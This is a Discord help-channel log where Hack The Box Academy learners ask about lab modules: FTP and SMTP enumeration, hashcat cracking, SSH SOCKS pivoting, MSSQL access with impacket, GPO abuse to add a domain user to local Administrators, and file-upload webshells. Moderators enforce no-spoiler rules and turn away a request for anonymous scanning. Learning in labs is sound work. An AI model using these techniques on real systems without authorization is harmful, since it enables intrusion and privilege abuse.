fathom pendant
#

ah yeah so the loop should already exist in the script

#

you just need to input a conditional (if else)

west arrow
#

stuck again.. I have tried all the commands from the page witht the target ip and also nmap with various scripts to get any info but I don't seem to be getting anywhere.
Module name/link: FTP Footprinting, https://academy.hackthebox.com/module/112/section/1066
The question:
Enumerate the FTP server and find the flag.txt file. Submit the contents of it as the answer.
I can give more detail on what ive tried but I don't want to get the message deleted

sage flower
#

Hmm.. Ok im doing it but the result im getting is wrong. Hmm will try som more

fathom pendant
#

as a note : echo can add an extra character, so be careful with that

quaint grail
#

what is index number ?

image.png
fathom pendant
quaint grail
#

I dont find it maybe I didnt read it well

fathom pendant
#

the option may not be called "index/--index" but searching for index yields results

#

to search within the manpages you can do /searchterm [Enter]

quaint grail
#

Okay found it tysm

sage flower
#

Can i typ the result im getting.. Or can i post the code whit out the result so i can show what im doing . becus im juts getting that its wrong

fathom pendant
#

if someone is willing it can be taken to dms

sage flower
#

uff.. okk.. Hm then im stuck. Becus i cant se where im doing it wrong..

fathom pendant
#

i'm getting the expected answers; it's likely you're off by one

#

dm me

leaden island
#

In Pwnbox issue the $PSversiontable variable using PowerShell. Submit the edition of PowerShell that is running as the answer.

#

answer: 7.5.0

#

still says wrong answer

golden gate
#

you sure its not 7.5.0

#

happend to me before it didn't accept an answer because there was a space

upbeat pike
golden gate
fathom pendant
#

the question ask for the edition

leaden island
#

ah yes

#

im always exagratting

fathom pendant
#

there's a nice little thing there that tells you the edition if you hadn't figured it out

leaden island
#

im always thinking inside the box

#

"it has to be 7.5.0 but the answer thing is broken" my mind said

upbeat pike
quaint grail
#

what is xxd binary ?

fathom pendant
leaden island
#

high level response

quaint grail
#

that's hard for me ahah Im learning alone

golden gate
quaint grail
#

it ask this

image.png
#

and I'm lost

golden gate
#

reread the section im pretty sure its there

leaden island
#

env

golden gate
#

there is a command that should show where its located

golden gate
leaden island
#

Pair it with grep ?

fathom pendant
leaden island
#

Wait isnt that spoiler

leaden island
quaint grail
fathom pendant
#

also locate

leaden island
#

I thought its a library not a binary

fathom pendant
#

it's not

#

also it explicitly tells you that xxd is a binary

leaden island
#

Idk what module is that but i think i did it

#

Still didnt learn kek

fathom pendant
#

Linux Fundamentals

golden gate
quaint grail
#

bro im so lost I'll try to find someone who's french to explain me in voc

leaden island
#

One needs practicing to keep the memory updated

spring mirage
#

Module: Introduction To Assembly Language
Section: Skills Assessment (Task 2)
Section Link: https://academy.hackthebox.com/module/85/section/909

I am having a terrible time with this one. No matter what I try, I simply can't get the flag.s to produce the right Shellcode. I keep getting the Failed to run Shellcode error. I have no idea what else to try here, honestly. I would like to get this done. Can anyone help me please?

fathom pendant
#

both will provide answers

#

which <binary> tells you where a binary is located (if it's in your path)

quaint grail
fathom pendant
golden gate
#

locate will just show any path conatain xxd

fathom pendant
#

this is why which is better

fathom pendant
quaint grail
#

ohh

fathom pendant
quaint grail
#

I write xxd but now im blocked in this mode

fathom pendant
#

which xxd
all it's asking for is the path to the binary

#

this will provide that

quaint grail
#

yeah but in the terminal

fathom pendant
#

if you just type xxd you enter in the "interactive" mode of xxd

quaint grail
#

before u told me I wrote "xxd"

fathom pendant
#

ctrl+c

quaint grail
#

ohh ty

fathom pendant
#

@golden gate don't spoil the answer directly

#

let them get to it on their own

golden gate
#

i mean he already saw it
my bad

quaint grail
golden gate
#

which

#

not wich

quaint grail
#

mb im tired

golden gate
#

happened to me before lmao

quaint grail
#

okay I found it

golden gate
golden gate
quaint grail
#

uhh the next step is hard I'll find a french coach

#

tysm for help

golden gate
#

man up

#

what does it ask

quaint grail
#

I dont want the answer I want to understand

golden gate
#

reread the section its there

#

for the above one google about regex

fathom pendant
# quaint grail

find is helpful here; and i beleive the section talks about how to discover files with extensions

quaint grail
fathom pendant
#

so long as you're ssh into the target system, that should work

#

though you may want to count them

#

wc has a way to count l ists ;)

#

you may also want to throw errors to the void

#

2> /dev/null

#

this is because your stderr will be flooded with "you don't have permission" messages

spring mirage
#

There we go, I feel so much better now! Time for the SOC Analyst path finally!

image.png
fathom pendant
#

@cyan arch the module is above tier 0 please don't post module content, you can ask questions without spoiling content

cyan arch
#

ahh okay apologies

west arrow
#

Im stuck on this module. I have tried all the commands from the page witht the target ip and also nmap with various scripts to get any info but I don't seem to be getting anywhere.
Module name/link: FTP Footprinting, https://academy.hackthebox.com/module/112/section/1066
The question:
Enumerate the FTP server and find the flag.txt file. Submit the contents of it as the answer.
I can give more detail on what ive tried but I don't want to get the message deleted
If anyone has some tips would be much appreciated

fathom pendant
west arrow
cyan arch
#

Hi . I am stuck on this question: Create a "For" loop that encodes the variable "var" 28 times in "base64". The number of characters in the 28th hash is the value that must be assigned to the "salt" variable for module https://academy.hackthebox.com/module/21/section/128 - bash scripting.

I keep getting the exact same error after changing multiple things.Any help?Thanks!

fathom pendant
fathom pendant
#

${#var} or echo -n $var | wc -l

#

After the loop: you need to assign the $salt to the length

tired bough
#

hey im absolutly banging my head against a wall. With the file uploads attacks skills asessment, what timezone is the htb server in? i got everything up to the last part of actully accessing my uploaded webshell. I found the source code and the dir, plus the nameing scheme, but no matter what i do for the date i am getting a 404

flint palm
#

Guys hello if someone has done cracking passwords with hashcat how to open archive I extracted hash and cracked the password but archive itself is not opening

#

as I understood flag is inside

#

i downloaded the archive clicking on it and it doesn't ask me for a password or show that it is locked with a password

fathom pendant
fathom pendant
tired bough
#

awesome thank you

pale hull
#

anyone know if John has a module for vhd files

#

don't see any vhd2john

fathom pendant
pale hull
#

oh maybe I know why

#

it's windows prompting for elevation

fathom pendant
#

file file.vhd

pale hull
#

ok makes sense

fathom pendant
#

It's not about windows prompting for elevation

cyan arch
pale hull
#

like when I tried to open on target machine, Windows local Administrator prompt came up

#

I just need to mount on linux

fathom pendant
#

The file is still password protected

#

There is a 2john that will be helpful, but you gotta discover the encryption and hashing in use

tired bough
#

grrrr its still not working. I got the base64 encoded response in burp showing it uploaded, and im in the right file dir but i cant for the life of me get it to come up

#

spent a whole day on it

fathom pendant
tired bough
#

goood idea ok

fathom pendant
#

In the leaked upload.php it does something to mutate the filename

tired bough
#

yeah i found the source code for that

#

one sec

#

the heck

#

yeah im putting that in and it still comes up as 404

#

im so confused lol

#

hmmmm

pale hull
#

yea found it, pretty neat didn't know you could crack that

#

I guess on a real enterprise system the encryption would take much longer

flint palm
#

when i try to unzip the archieve I get the following

#

unzip Downloads/hashcat.7z
Archive: Downloads/hashcat.7z
End-of-central-directory signature not found. Either this file is not
a zipfile, or it constitutes one disk of a multi-part archive. In the
latter case the central directory and zipfile comment will be found on
the last disk(s) of this archive.
unzip: cannot find zipfile directory in one of Downloads/hashcat.7z or
Downloads/hashcat.7z.zip, and cannot find Downloads/hashcat.7z.ZIP, period.

#

that means archive is corrupt or what?

weak current
lament hound
#

Is anyone having an issue with the attacking sequel databases module in the attacking common services topic for the CPTS? I’m using.Sqlcmd and it refuses to connect. I was able to once, it there was no data in any of the tables

thorny bough
#

@flint palm That error means that the file you're trying to unzip isn't actually a ZIP file — it's a .7z file, which is a different archive format used by 7-Zip. You're using the unzip command, which only works for .zip files. To extract a .7z file, you need to use a tool that understands that format.

sudo apt install p7zip-full

7z x Downloads/hashcat.7z

flint palm
#

Thank you

ruby aurora
#

Anyone good with binary exploitation ?

west arrow
real delta
bleak depot
#

Hello, I'm a beginner and currently following the "Path Information Security Foundations". I've tried several times, but in the part where you need to set up your first Parrot lab (which I chose to do on VirtualBox), I don't understand why I get no result when I type the command cat tools.list.

The system replies:
cat: tools.list: No such file or directory.

I don't want to move forward without understanding this

west arrow
real delta
bleak depot
fathom pendant
bleak depot
lament hound
#

Anyone having issues too with the attacking SQL database’s module?

rustic sage
lament hound
#

can connect to the lab (Attacking Common Services Attacking SQL Databases ), but there's no user table. I've already answered question 1. I've been talking to support all morning and I'm still getting nothing, but problems. Went over the SMB module and the SQL module for the past 6 hours to see if I missed something and I'm still getting the same issue. MSSqlsvc user password doesn't work to login. There's only the same 6 rows (master, tempdb, model, msdb, hmaildb, and flabDB.) 3 I have no access to (flagDB, hmaildb, & model). Master, tempdb, and msdb I can and there are tables, but there's nothing in any of them. master(spt_fallback_db, spt_fallback_dev, spt_fallback_usg & spt_monitor)
tempdb is empty
msbd (dm_hadr_automatic_seeding_history, backupmediaset, backupmediafamily, backupset, backupfile, restorehistory, restorefile, restorefilegroup, logmarkhistory, suspect_pages)

fathom pendant
#

You should be able to log in with the svc user

lament hound
fathom pendant
#

mssqlclient.py --help

lament hound
#

Do I switch users in my current session? I went back and tried xp_cmdshell, writing a local file, reading a local file in sql, impersonating a user and there are no other users, and nothing.

#

One sec while I try that

fathom pendant
#

you can just log with mssqlsvc

lament hound
#

sudo python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py mssqlsvc@10.129.203.12
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
Traceback (most recent call last):
File "/usr/share/doc/python3-impacket/examples/mssqlclient.py", line 96, in <module>
ms_sql.connect()
~~~~~~~~~~~~~~^^
File "/usr/lib/python3/dist-packages/impacket/tds.py", line 540, in connect
sock.connect(sa)
~~~~~~~~~~~~^^^^
OSError: [Errno 113] No route to host

fathom pendant
#

no route to host

#

are you connected to the vpn? and by extension, is the host up?

#

yes, it asks for the password before attempting a connection

lament hound
#

Yes. I've used both my VPN TCP & UDP, used the pwnbox and the errors are consistent no matter what I use

fathom pendant
#

well OS error isn't anything to do with the target itself, at least not directly

#

you're getting a "no route to host" error => it's not able to connect at all; not that the target isn't accepting the password, which would be a different auth error

#

do you only have 1 vpn running; are you using the pwnbox at the same time as the vpn (if so, don't)

lament hound
#

Yup. I've been alternating and not running multiple connections. I did do that yesterday, which I thought was my problem, but today I've been testing 1 at a time

fathom pendant
#

change vpn regions -> respawn target -> (there's -windows-auth for mssqlclient that tells it to use local authentication)

lament hound
#

finally it worked! Many thanks for the help

wet arrow
#

Hello!
Module: Pivoting, Tunneling, and Port Forwarding
Exercise on Section: Dynamic Port Forwarding with SSH and SOCKS Tunneling

I'm unable to scan with proxychains nmap during the exercise, though xfreerdp and msfconsole work fine with proxychains. Nmap returns no results for any query, even with full TCP scan flags.

Why is not working?

quartz lagoon
#

also, windows defender blocks pings so maybe try to add -Pn to your scan

cloud urchin
#

If your question is related to a module, just ask it here.

ruby aurora
#

i need help with binary exploitation rightnow anyone can help please

cloud urchin
acoustic thorn
#

Has anyone that has completed citrix breakout now what the issue is here? The created admin does not have the ability to execute the UAC bypass script as illustrated in the provided solution.

Screenshot_2025-04-10_210058.png
cloud urchin
#

Also ensure all prerequisite steps were followed.

#

@ruby aurora please read the #rules and do not DM users without permission

magic mango
#

Question about the NFS footprinting
when doing the mount cmd against the target is it best to just grab the whole directory and dig for the flags or could you just grab require sub folders?
i dont really need help, it's a best practices type question

mild badger
#

I am not sure if this is the right chat, but I am trying to do the Module Linux Fundamentals.
I am currently stuck on the System Information part. It is telling me to connect to the spawned target machine with ssh, but I am unable to figure out how.
if this is the wrong chat to ask this question, could someone please driect me to the correct chat?

ruby aurora
acoustic thorn
cloud urchin
mild badger
cloud urchin
acoustic thorn
cloud urchin
acoustic thorn
#

If you're referring to the last comand in the screenshot ik that it is different from the provided solution. I tried this syntax because the prior command doesn't import the module as expected

mild badger
wet arrow
#

Thanks for the reply Aeshmedai. I have tried two different mixes:

  1. -sn -v for host
  2. -v -Pn -sT for ports.

I tried a bunch of flag combos, and the only one that smiled back was -sn -Pn. Totally redundant, due contradiction, basically like high-fiving myself in a mirror—but hey, it was just for fun and desperation.

I know that the ssh command is ok, as other tools as freerdp works fine. Is only nmap

cloud urchin
mild badger
cloud urchin
mild badger
deft veldt
#

Hello, I need help on how to execute the vuln in PDF web application in Final Assessment of modern web exploitation techniques, I was able to configure the hosts file in webmin and also running the dnsrebinder, but still showing "internal server error", but when I restarted the dnsrebinder and reload the page, access "http://attacker.com/" only redirect the page to what should be the output to get the flag.

nvm solved it.

stiff aurora
#

Hey guys, I working in the module "Kerberoasting - from Linux" but I can't find the way the get the password

fresh furnace
#

Hey anyone have any suggestions where to start

compact patrolBOT
waxen totem
safe star
#

😭

stiff aurora
waxen totem
stiff aurora
stiff aurora
waxen totem
stiff aurora
stiff aurora
foggy monolith
#

How long does it take a scheduled task created using a GPO to actually run? On the last question in the GPO section of DACL Attacks II — got a GPO task scheduled to run net localgroup Administrators INLANEFREIGHT\g*****l /add, yet the GPO doesn't do anything.

cloud urchin
#

It does cover that in the module I believe

foggy monolith
#

Tried using bloodyAD to GPLink the OU and still nothing.

waxen totem
#

Theres a command to force gpo to update iirc

real delta
steady pelican
#

Hello, I am on Introduction to Active Directory module.
I am stuck on AD Administration: Guided Lab Part I. I have started the instance, still not able to connect to it.
Any nudge would be helpful.

image.png
waxen totem
weak current
cloud urchin
#

No. That's illegal and now what this discord is about.

weak current
steady pelican
proven skiff
#

I am facing a problem at Pivoting, Tunneling, and Port Forwarding -> Dynamic Port Forwarding with SSH and SOCKS Tunneling

I followed the proper commands:

$ ssh -D 9050 ubuntu@<ip> # attack machine
$ netstat -antp # shows listenning to 9050 <- attack machine

$ tail -n 4 proxychains
socks4 127.0.0.1 9050

$ proxychains nmap -v -sn 172.16.5.1-200
# response all host down

Is it the machine problem or I am doing anything wrong, Tried multiple time after boot the machine waited 5 minutes still same.

real delta
#

@cold star is the ssh service running on your PWN box instance/the target?

#

also what module is it?

dense trail
#

can anyone give me the correct path to linux priv esc modole + 0 Enumerate the Linux environment and look for interesting files that might contain sensitive data. Submit the flag as the answer.
this question?

real delta
cold star
cold star
real delta
cold star
cold star
real delta
cold star
dense trail
#

can anyone give me the correct path to linux priv esc modole + 0 Enumerate the Linux environment and look for interesting files that might contain sensitive data. Submit the flag as the answer.

#

oh i did it nvm 😄
grep -r "HTB{" / 2>/dev/null | head -20 with this command but what if i didnt know that flag should start with HTB

golden gate
#

well you cant use grep if you dont know what to grep lol

dense trail
#

yea great point

mighty shell
#

Ah i am stuck for quiet a few days for with this question of skill assesment of Hacking wordpress module
https://academy.hackthebox.com/module/17/section/64
Question- Use a vulnerable plugin to download a file containing a flag value via an unauthenticated file download.

dense trail
#

hello Review the PATH of the htb-student user. What non-default directory is part of the user's PATH?
/home/htb-student/bin:/home/htb-student/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/tmp
i got this and what is the non-default directory

waxen totem
lofty lake
#

Hey need help

storm elk
#

with what @lofty lake

#

nothing urgent it seems

dusky valve
#

im in the introduction to malware analysis module under code analysis, im at a part where they are explaning about the api function and like just explaining the dissassembled code for that part, they are like explaining which instruction is used for 1st 2nd 3rd etc arguments for that but like it is kinda all over the place?

like in intro to assembly language it was mentioned that specific registers are used for 1st 2nd.. etc arguments but like in the case for the api function, it differs. so im not too sure if i understand it correctly now.. if someone can explain pls do T-T

or is it bc it is a disassembled code that it is like this?

safe star
autumn pilot
#

checkout the x64 calling convention documentation in microsoft it may clear things up

dusky valve
#

OHHH

#

okayokay i get it now

#

thank u both

novel valve
#

Hello Guys 🙂
i need your Support.
Would it be better when i start with Windows Active Directory when i do the Pentester Path "AD Enumeration & Attacks" or should i do Active Directory learn first on Tryhackme?
I think in the learning Paths on THM you dont learn to use crackmapexec.. and i want learn it directly reasonable.
What is your recommendation?

dull brook
#

I am having a problem with HTB module Android Fundamentals Native code where it will not take the answer what am i missing for this question "What is the name of the function that returns the string inside the cpp file? (Format: FunctionName())." I thought it was this stringFromJNI()

real delta
#

Just do HTB

novel valve
pliant mason
spark adder
#

ah my question was deleted?

#

why was that?

real delta
spark adder
#

about The XSS script. In which I was getting errors when uploading the payload in the URL

real delta
spark adder
#

ohh understandable.
so where can I ask such questions?

real delta
#

You can't post any spoilers for modules, #modules is for module questions

fathom pendant
#

you can ask here; just don't spoil things

#

i.e. my payload is still leaving behind some stuff for some reason

spark adder
fathom pendant
#

but showing the screenshot with your payload in it is a spoiler

#

:)

spark adder
#

okay I understand now

fathom pendant
#

you may have to mess with the payload a bit to get it cleaned up

spark adder
#

yep, I kinda figured it out.

#

But I guess I cannot tell what I did because spoilers right?

fathom pendant
#

yes, you can't just paste your payload here

#

my general suggestion is look at where the payload is inserted, and work from there

spark adder
#

alright thanks. Will try to ask better questions next time

weak current
waxen totem
proven skiff
elfin dew
#

Please can I ask someone that has completed "Detecting Attacker Behavior With Splunk Based On Analytics"? I have the correct answer, but I can't seem to get it through the way the question is asking.

flint palm
#

Guys hello how to install hcxtools downloaded package but can't install them apt install hcxtools isn't working

quartz lagoon
#

and then they give you a command to enumerate the ports of a Windows target

clever plover
#

same issue here, feel free to let me know if you figure it out.

proven skiff
#

Thanks @waxen totem and @quartz lagoon I missed out the point

dense trail
#

hello i've been doing wordpress hacking module and i found subdomain of wp-content and it is /atom when i visited the web page file downloaded on my pc but i cannot open it and is it something that i should dig in or can anyone help? kinda stuck

grizzled schooner
#

Attacking AD and NTDS.dit

Got one set of creds from brute-forcing usernames and pw's - doesn't let me connect with winrm? Is this normal / expected?

severe rapids
#

Anyone have issues where sshing into the training box disconnects after the MOTD?

I'm trying to complete the challeneges in Prompt Injection Attacks module Indirect Prompt Injection

slim otter
grizzled schooner
#

Interesting, not sure what else I could do - only set of creds I got across 3 users

#

I'll keep looking, could've been something with the machine I suppose

slim otter
#

I have DM'd you if that is ok

grizzled schooner
#

Yeah no worries man - I'm just about to clock in to work so I can check a little bit later!

lofty phoenix
#

Has anyone done the pentest in a nutshell module? Im trying to privesc as john like in the lesson but I'm prompted for a password for john and cannot privesc by abusing sudo privs over nano

SPOILER_image.png image.png
autumn pilot
#

The password for the user is mentioned in the section

lofty phoenix
slim coyote
#

the true hackercore aesthetic

#

goonsquad ive been stuck on the last flag of linux privesc skill assessment for a while may i humbly request a nudge

dull brook
#

who here has finished adroid fundamental native code last question

flint palm
#

Hi Guys extracted handshakes using cap2hccapx.bin created file with them and when cracking this file getting separator unmatched error from hashcat and no hashes loaded can anyone explain why?

#

hccapx file also created

coral saffron
#

hello everyone! i was wondering how does password reset poisoning work?

lime cosmos
#

Footprinting : SMTP
Enumerate the SMTP service even further and find the username that exists on the system. Submit it as the answer.
-> so i test 3 tools , metasploit and nmap and smtp-user-enum so meatsploit it give correct answers but nmap and smtp-user-enum it give false results i confirm that manually

tropic minnow
cloud urchin
thin citrus
#

I am working on the FAT GET lab in the Advanced Cache poisoning, but the only parameter language is vulnerable to XSS and ref and content does not contain XSS. Also when I add the XSS in language as html body the admin never triggers the payload.

shut ice
#

Looks like zone transfers are allowed on one but not the other? @placid haven

wet arrow
proven skiff
wet arrow
light rune
#

I really want to be a hacker. But ain't know what my actual goal is or where my path is. I rearned some networking in youtube videos and something somewhere of something like not the dots connected.

I worked as java backend for 3 years to make a base what actually i want to hack. Now i want to go back to my passion and career in cyber security etc etc.

But I don't know where to start or anything.

Like there is a blank way but the goal is hacking.

Like mr Robot or something.

Anyone pro here suggest some talk?

(Dear script kiddies, don't try it with an opportunity to hack my with reverse engineering or something that will break my system and heart) 🖥️💔

compact patrolBOT
tropic minnow
cloud urchin
fiery berry
thin citrus
#

yes

#

cloak is complete now I am writing my staps and go back to FAT GET

fiery berry
thin citrus
#

I'll dm you in a minute

fathom pendant
#

@placid haven i understand you tried using spoiler tags: this is a reminder, they don't do shit, best practice is to just mask the answer/subdomain you provide instead. I deleted your messages

stiff aurora
#

Hey guys, I'm stuck here looking the way to get the password!, please any idea or way I appreciate it!. I'm working in the module Kerberoasting - from Linux with the first question

fathom pendant
#

that's a section from the module AD Enum and attacks

stiff aurora
#

yes

fathom pendant
#

Module == the book; Section == the page (for analogy, and future reference)

#

the section itself isn't the module

stiff aurora
#

oh sorry

leaden island
#

umm i RDPed to the machine and found it like this

image.png
#

like bruh how did the machine even manage to connect to google search

image.png
#

bing watever

#

is that normal behavior

#

i dont usually find machines with a woman holding a dog background and searching tabs open lol

harsh gorge
#

Woof

slate zinc
#

just put the flag in the text box bro

leaden island
#

the question is the hostname but bruh what is this

fathom pendant
upbeat pike
#

lol great place to try that one

storm elk
#

(To the phisher)

median gale
#

Anyone done the new captive portals module?

fathom pendant
#

@viscid osprey don't spoil the module is above t0

#

but to answer your question; don't always trust what nmap tells you

#

yeah it directly involved the service you interact with

leaden island
# 
└─# ./smbserver.py haji /tmp
Impacket v0.11.0 - Copyright 2023 Fortra

Traceback (most recent call last):
  File "/opt/tools/impacket/./smbserver.py", line 60, in <module>
    logger.init(options.ts, options.debug)
TypeError: init() takes from 0 to 1 positional arguments but 2 were given```
is that correct syntax for smbserver.py script
brazen saffron
leaden island
#

lemme try

brazen saffron
#

You should have only options.debug.

leaden island
#

🫡

flint palm
#

Guys hello if someone has passed module hacking passwords with hashcat there is such an assesment to make Perform MIC cracking using the attached .cap file. I used one of hashcat-utils extracted hashes from cap file but during attempts to crack it it tells me separator unmatched

#

what could be the problem?

opaque cosmos
#

pls help

fathom pendant
#

@opaque cosmos replace :port with :PORT

#

also don't reveal answers

opaque cosmos
#

i did

fathom pendant
#

:)

opaque cosmos
#

wthellll

#

i wasted like 2 hrs doing the brute force 5 times in ffuf thinking there may be another host or something this is frustrating i need to sleep i brain in not braining

flint palm
#

well said brain is not braining))

distant orbit
#

Alright so I'm doing the Linux Fundamentals module, and one of the questions is leaving me utterly baffled because I just don't know what it's asking me to do

rustic sage
#

Good afternoon, how are you?

distant orbit
#

||I've tried 2 different answers and I'm utterly lost. I did dpkg list | wc -l, and apt list --installed | wc -l ||

image.png
#

both results were incorrect

#

so I just don't know what it's asking me for

#

ik it's worth 0 so I can just skip it but I'm being perfectionist because I'm silly

rustic sage
#

@distant orbit Do you need help with something?

distant orbit
#

yeah

flint palm
#

dpkg --get-selections | grep <package>

#

try this

safe star
#

I might list a little more than just the packages

distant orbit
#

oh actually good point.

#

wc -l counts by line right?

#

or is it by space?

#

im asking questions I can just look up

#

yeah it does

#

anyway I solved it, I had to exclude the first line

#

ty lattice

fathom pendant
flint palm
#

anyway submitted ticket hcxpcapngtool says there are no hashes in cap file

random iris
#

Hey, how do I connect to the windows target for Linux Fundamentals from my macbook? I tried to set up rdp but it refused to connect. thanx

fathom pendant
#

Ssh

#

I don't think rdp is enabled on the linux targets

daring fable
flint palm
#

and yes i use m 22000 not 2500 as many do

daring fable
#

Two seconds let me redo it

daring fable
fathom pendant
#

yeah hashcat dropped the .cap support

#

it's a pita

elfin juniper
#

hi

flint palm
#

separator unmatched error

elfin juniper
#

I'm newbie in cybersecurity

daring fable
fathom pendant
elfin juniper
#

Who know nmap ?

fathom pendant
#

just ask your question; what academy module is it related to?

elfin juniper
#

When I scan an IP I want to be anonymous so I put a VPN but the problem is that the VPN ports are displayed how to do it?

fathom pendant
#

that's not something covered by htb academy; read and follow #welcome to access more of the server.

#

short answer is that nmap needs to have the scans call back to it in order to be useful

#

so there's no way to do an "anonymous" scan

#

at least not in the way that you want to do it

flint palm
#

hashcat-utils created file was not working

elfin juniper
#

Is there a way to bypass a firewall?

fathom pendant
elfin juniper
#

Idk

fathom pendant
#

if it's not related to an academy module: then you're asking in the wrong channel

elfin juniper
#

Oh ok sry

#

Just i'm not english so i don't understand every thing

fathom pendant
#

there's plenty of other channels you now have access to

hallow dust
#

Hello, i have applied for a student ticket and it's been more than 48 hours and i haven't received any email yet. Can anyone help me regarding it?

fathom pendant
#

only support staff

hallow dust
fathom pendant
#

it depends, but they have to do verification checks to ensure your student email is legitimate and the institution does exist and things like that

hallow dust
safe mango
#

In the Android module first question on the skill assesment: Install myapp.apk by dragging and dropping it into the emulator. Then, open the embedded terminal in Android Studio and run adb root && adb shell ls -l /installed/apps/. Replace /installed/apps/ with the correct path to find the app’s home directory. What is the full path to myapp's home directory?

What is the path format? because I am pretty sure it goes something like this "/folder/folder/myappName/"

#

I tried "/folder/folder/" still not correct

marsh canyon
#

hey guys does someone know where i can download the wordlist for gobuster? im new in this and i have no idea where to find it

safe mango
#

you mean rockyou.txt?

marsh canyon
#

no in the module they use common.txt

safe mango
#

ah

#

go buster has a default wordlist

#

what is the module name?

marsh canyon
#

yeah but when i type the command gobuster dir -u http...... -w and then the wordlist path it cant find the common.txt

marsh canyon
safe mango
#

You have to download Seclist

#

It is a large public databases for wordlists

marsh canyon
#

ok thank you i will try

safe mango
#

This will install the db locally then you can use this path seclists/Discovery/Web-Content/common.txt

#

gl

marsh canyon
safe mango
simple goblet
#

If there any reviews about Parameter Logic Bugs module please share with me , here or DM

Thx.

fathom pendant
#

as in; what specifically are you looking to get from it. since it's a t3 module not much can be shared publicly about it's contents

brazen valve
#

SSRF Basic Filter Bypasses - Modern Web attacks.......any hints on if the attack is dns resolution or obfuscation for this one. The script provided doesn't allow http redirect, but I feel like I've tried every combination of things without going outside the scope of what is being taught in this specific section. Just need a nudge in the right direction to shift my thinking

ebon lance
#

hey all, im looking to start learning Python and found the Python3 intro course on HTBA, I have not experience with python and minor experience with coding. Would this be a good program to start learning or should I look else were to learn the basics? Thanks

fathom pendant
#

it's a decent starting off point

#

i'd also look into 'automate the boring stuff with python' by Al Sweigert

limber relic
#

i'm stuck on this module for hours

#

wat is that?

#

didn't know HTB has a separate discord for module help

#

is that even a thing?

royal hazel
#

I’m having trouble with the Injection Attacks Skill Assessment. I found the server side xss, but I’m not sure how to enumerate the internal ports? I tried but I got many ports with successful response, but the pdf showed nothing when I downloaded it. Could any one give me a nudge?

dark hedge
limber relic
#

there was a guy that send me a discord link

cloud urchin
#

That's a scam.

#

You should leave if you joined the one they sent you to and stop talking to anyone from that discord.

limber relic
#

already did

random iris
#

Does googling take away from learning while doing the modules? I'm a complete beginner so I google a lot of things while going through the modules and I wonder if I'm not doing them effectively

fathom pendant
#

nope

#

that's the short answer is that no; googling doesn't take away from learning

#

sometimes things aren't presented in a way that meshes well with you; so you do some extra research

#

so long as you're not googling "X module Y section HTB academy" for answers, then you're fine

quasi wave
#

I haven't done HTB Academy in a week and I completed the second cluster of sections in the Pivoting, Tunneling, and Port Forwarding Module. Tomorrow, I'm starting the Socat Redirection with a Reverse Shell section and I am scared I will have forgotten the information from the first few sections of the module. I was having medication issues for a couple of weeks.

lusty thicket
quasi wave
#

but some of my notes are on my lenovo

#

which is being repaired due to hardware issues

#

and maybe be in the shop until next Friday or whatever

#

so I am temporarily without notes

#

except the most recent section that I took notes on on my macbook

#

my obsidian doesn't sync notes across devices

#

ya

#

I installed separate obsidian on my macbook

#

should I go onto the next section and not worry about it?

lusty thicket
#

well, i like to believe discipline beats memory